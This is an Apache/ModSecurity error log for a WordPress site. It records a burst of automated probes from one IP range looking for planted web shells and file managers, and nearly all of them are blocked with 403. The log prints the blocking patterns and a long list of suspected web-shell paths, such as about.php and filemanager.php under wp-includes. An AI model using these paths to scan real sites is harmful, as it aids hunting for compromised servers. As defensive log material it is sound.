[Sun Mar 15 10:45:10.877126 2026] [:error] [pid 38540:tid 38605] [client 212.30.33.225:54297] [client 212.30.33.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "abYdNl8bnHsJ1dE90bIiMgAAAFM"]
[Sun Mar 15 10:45:12.498485 2026] [:error] [pid 38541:tid 38620] [client 212.30.33.58:44529] [client 212.30.33.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "abYdOHuOpex8jIO0jt45YQAAAIc"]
[Sun Mar 15 10:45:13.343874 2026] [:error] [pid 50986:tid 51009] [client 212.30.33.72:59449] [client 212.30.33.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "abYdOSknK4c779bcQqHq-wAAAVQ"]
[Sun Mar 15 10:45:14.976267 2026] [:error] [pid 38536:tid 38558] [client 212.30.33.67:61069] [client 212.30.33.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "abYdOvpTEqkVJ0rBEWvJZwAAAAU"]
[Sun Mar 15 10:45:15.779591 2026] [:error] [pid 38536:tid 38561] [client 212.30.33.52:49785] [client 212.30.33.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "abYdO_pTEqkVJ0rBEWvJbAAAAAg"]
[Sun Mar 15 10:45:16.995853 2026] [:error] [pid 38645:tid 38648] [client 212.30.33.101:25969] [client 212.30.33.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "abYdPBFPHtsDUuVrWDaxcAAAAME"]
[Sun Mar 15 10:45:18.214362 2026] [:error] [pid 38541:tid 38627] [client 212.30.33.62:49421] [client 212.30.33.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "abYdPnuOpex8jIO0jt45jwAAAI4"]
[Sun Mar 15 10:45:19.886151 2026] [:error] [pid 38536:tid 38569] [client 212.30.33.84:21295] [client 212.30.33.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "abYdP_pTEqkVJ0rBEWvJqQAAABA"]
[Sun Mar 15 10:45:21.528023 2026] [:error] [pid 38541:tid 38617] [client 212.30.33.82:53843] [client 212.30.33.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.82, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "abYdQXuOpex8jIO0jt45pwAAAIQ"]
[Sun Mar 15 10:45:24.035398 2026] [:error] [pid 38541:tid 38630] [client 212.30.33.82:53843] [client 212.30.33.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "abYdRHuOpex8jIO0jt45vQAAAJE"]
[Sun Mar 15 10:45:26.518051 2026] [:error] [pid 50986:tid 50996] [client 212.30.33.90:27525] [client 212.30.33.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "abYdRiknK4c779bcQqHr4QAAAUc"]
[Sun Mar 15 10:45:27.718378 2026] [:error] [pid 42570:tid 42583] [client 212.30.33.86:21397] [client 212.30.33.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "abYdR8IUXZJLmk_gYCOdUQAAAYo"]
[Sun Mar 15 10:45:30.708187 2026] [:error] [pid 38536:tid 38568] [client 212.30.33.96:44345] [client 212.30.33.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "abYdSvpTEqkVJ0rBEWvKFQAAAA8"]
[Sun Mar 15 10:45:33.591605 2026] [:error] [pid 38541:tid 38623] [client 212.30.33.92:48991] [client 212.30.33.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "abYdTXuOpex8jIO0jt46RAAAAIo"]
[Sun Mar 15 10:45:34.398874 2026] [:error] [pid 42570:tid 42595] [client 212.30.33.94:43767] [client 212.30.33.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "abYdTsIUXZJLmk_gYCOdpQAAAZY"]
[Sun Mar 15 10:45:36.062652 2026] [:error] [pid 38645:tid 38648] [client 212.30.33.74:42905] [client 212.30.33.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "abYdUBFPHtsDUuVrWDayMQAAAME"]
[Sun Mar 15 10:45:38.903854 2026] [:error] [pid 38645:tid 38665] [client 212.30.33.166:52917] [client 212.30.33.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "abYdUhFPHtsDUuVrWDayUAAAANI"]
[Sun Mar 15 10:45:39.704888 2026] [:error] [pid 38541:tid 38633] [client 212.30.33.63:64241] [client 212.30.33.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "abYdU3uOpex8jIO0jt46lQAAAJQ"]
[Sun Mar 15 10:45:43.378931 2026] [:error] [pid 9995:tid 10020] [client 212.30.33.84:38477] [client 212.30.33.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "abYdVwa8xkcaSmgTbwg1GgAAARY"]
[Sun Mar 15 10:45:44.188902 2026] [:error] [pid 38536:tid 38570] [client 212.30.33.98:39795] [client 212.30.33.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "abYdWPpTEqkVJ0rBEWvKgwAAABE"]
[Sun Mar 15 10:45:45.019924 2026] [:error] [pid 9995:tid 9999] [client 212.30.33.228:41587] [client 212.30.33.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "abYdWQa8xkcaSmgTbwg1MwAAAQE"]
[Sun Mar 15 10:45:46.673822 2026] [:error] [pid 38645:tid 38651] [client 212.30.33.89:50977] [client 212.30.33.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "abYdWhFPHtsDUuVrWDaypQAAAMQ"]
[Sun Mar 15 10:45:47.884577 2026] [:error] [pid 38645:tid 38648] [client 212.30.33.228:35227] [client 212.30.33.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "abYdWxFPHtsDUuVrWDaysQAAAME"]
[Sun Mar 15 10:45:48.683967 2026] [:error] [pid 38540:tid 38595] [client 212.30.33.56:25459] [client 212.30.33.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID/about.php"] [unique_id "abYdXF8bnHsJ1dE90bIjuwAAAEk"]
[Sun Mar 15 10:45:50.348011 2026] [:error] [pid 38540:tid 38587] [client 212.30.33.88:57065] [client 212.30.33.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "abYdXl8bnHsJ1dE90bIj0gAAAEE"]
[Sun Mar 15 10:45:51.177068 2026] [:error] [pid 38541:tid 38630] [client 212.30.33.229:38391] [client 212.30.33.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/fix.php"] [unique_id "abYdX3uOpex8jIO0jt47RQAAAJE"]
[Sun Mar 15 10:45:57.350345 2026] [:error] [pid 50986:tid 50994] [client 212.30.33.53:46311] [client 212.30.33.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "abYdZSknK4c779bcQqHtqwAAAUY"]
[Sun Mar 15 10:45:58.181309 2026] [proxy_fcgi:error] [pid 42570:tid 42586] [client 212.30.33.82:52259] AH01071: Got error 'Primary script unknown'
[Sun Mar 15 10:45:59.900529 2026] [:error] [pid 42570:tid 42597] [client 212.30.33.82:52259] [client 212.30.33.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "abYdZ8IUXZJLmk_gYCOfKQAAAZg"]
[Sun Mar 15 10:46:00.715357 2026] [:error] [pid 38645:tid 38655] [client 212.30.33.79:21797] [client 212.30.33.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "abYdaBFPHtsDUuVrWDazGgAAAMg"]
[Sun Mar 15 10:46:01.532312 2026] [:error] [pid 50986:tid 50988] [client 212.30.33.69:51121] [client 212.30.33.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "abYdaSknK4c779bcQqHt3gAAAUA"]
[Sun Mar 15 10:46:02.335671 2026] [:error] [pid 38536:tid 38562] [client 212.30.33.213:64519] [client 212.30.33.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "abYdavpTEqkVJ0rBEWvLNQAAAAk"]
[Sun Mar 15 10:46:03.140921 2026] [:error] [pid 38645:tid 38658] [client 212.30.33.71:24507] [client 212.30.33.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/min.php"] [unique_id "abYdaxFPHtsDUuVrWDazNgAAAMs"]
[Sun Mar 15 10:46:03.960183 2026] [:error] [pid 42570:tid 42581] [client 212.30.33.52:25953] [client 212.30.33.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "abYda8IUXZJLmk_gYCOfYwAAAYg"]
[Sun Mar 15 10:46:04.764358 2026] [:error] [pid 38541:tid 38625] [client 212.30.33.83:43343] [client 212.30.33.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "abYdbHuOpex8jIO0jt48BwAAAIw"]
[Sun Mar 15 10:46:05.577399 2026] [:error] [pid 9995:tid 10011] [client 212.30.33.164:23493] [client 212.30.33.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "abYdbQa8xkcaSmgTbwg19AAAAQ0"]
[Sun Mar 15 10:46:08.101064 2026] [:error] [pid 38645:tid 38659] [client 212.30.33.71:27081] [client 212.30.33.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "abYdcBFPHtsDUuVrWDazfwAAAMw"]
[Sun Mar 15 10:46:09.318101 2026] [:error] [pid 38536:tid 38576] [client 212.30.33.93:42145] [client 212.30.33.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "abYdcfpTEqkVJ0rBEWvLuQAAABc"]
[Sun Mar 15 10:46:11.775731 2026] [:error] [pid 38541:tid 38635] [client 212.30.33.53:27053] [client 212.30.33.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "abYdc3uOpex8jIO0jt48TQAAAJY"]
[Sun Mar 15 10:46:13.810249 2026] [:error] [pid 50986:tid 51012] [client 212.30.33.213:46047] [client 212.30.33.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "abYddSknK4c779bcQqHvEAAAAVc"]
[Sun Mar 15 10:46:14.616489 2026] [:error] [pid 50986:tid 51003] [client 212.30.33.84:62213] [client 212.30.33.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "abYddiknK4c779bcQqHvNwAAAU4"]
[Sun Mar 15 10:46:15.419837 2026] [:error] [pid 42570:tid 42589] [client 212.30.33.63:20373] [client 212.30.33.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "abYdd8IUXZJLmk_gYCOgYwAAAZA"]
[Sun Mar 15 10:46:16.232763 2026] [:error] [pid 38645:tid 38653] [client 212.30.33.213:42505] [client 212.30.33.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "abYdeBFPHtsDUuVrWDazqAAAAMY"]
[Sun Mar 15 10:46:17.441376 2026] [:error] [pid 38645:tid 38655] [client 212.30.33.62:56309] [client 212.30.33.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "abYdeRFPHtsDUuVrWDaztQAAAMg"]
[Sun Mar 15 10:46:21.633375 2026] [:error] [pid 9995:tid 9999] [client 212.30.33.79:58099] [client 212.30.33.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "abYdfQa8xkcaSmgTbwg2uQAAAQE"]
[Sun Mar 15 10:46:22.875088 2026] [:error] [pid 42570:tid 42580] [client 212.30.33.86:48479] [client 212.30.33.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "abYdfsIUXZJLmk_gYCOgzAAAAYc"]
[Sun Mar 15 10:46:24.960659 2026] [:error] [pid 38541:tid 38633] [client 212.30.33.53:50599] [client 212.30.33.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "abYdgHuOpex8jIO0jt48mwAAAJQ"]
[Sun Mar 15 10:46:26.177864 2026] [:error] [pid 38536:tid 38563] [client 212.30.33.71:25271] [client 212.30.33.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "abYdgvpTEqkVJ0rBEWvMLAAAAAo"]
[Sun Mar 15 10:46:28.678107 2026] [:error] [pid 38536:tid 38574] [client 212.30.33.87:59845] [client 212.30.33.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "abYdhPpTEqkVJ0rBEWvMQAAAABU"]
[Sun Mar 15 10:46:30.306384 2026] [:error] [pid 50986:tid 51002] [client 212.30.33.86:45527] [client 212.30.33.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "abYdhiknK4c779bcQqHw2AAAAU0"]
[Sun Mar 15 10:46:33.194527 2026] [:error] [pid 50986:tid 51001] [client 212.30.33.84:58743] [client 212.30.33.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "abYdiSknK4c779bcQqHxGwAAAUw"]
[Sun Mar 15 10:46:33.999742 2026] [:error] [pid 38536:tid 38553] [client 212.30.33.76:23531] [client 212.30.33.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "abYdifpTEqkVJ0rBEWvMfgAAAAA"]
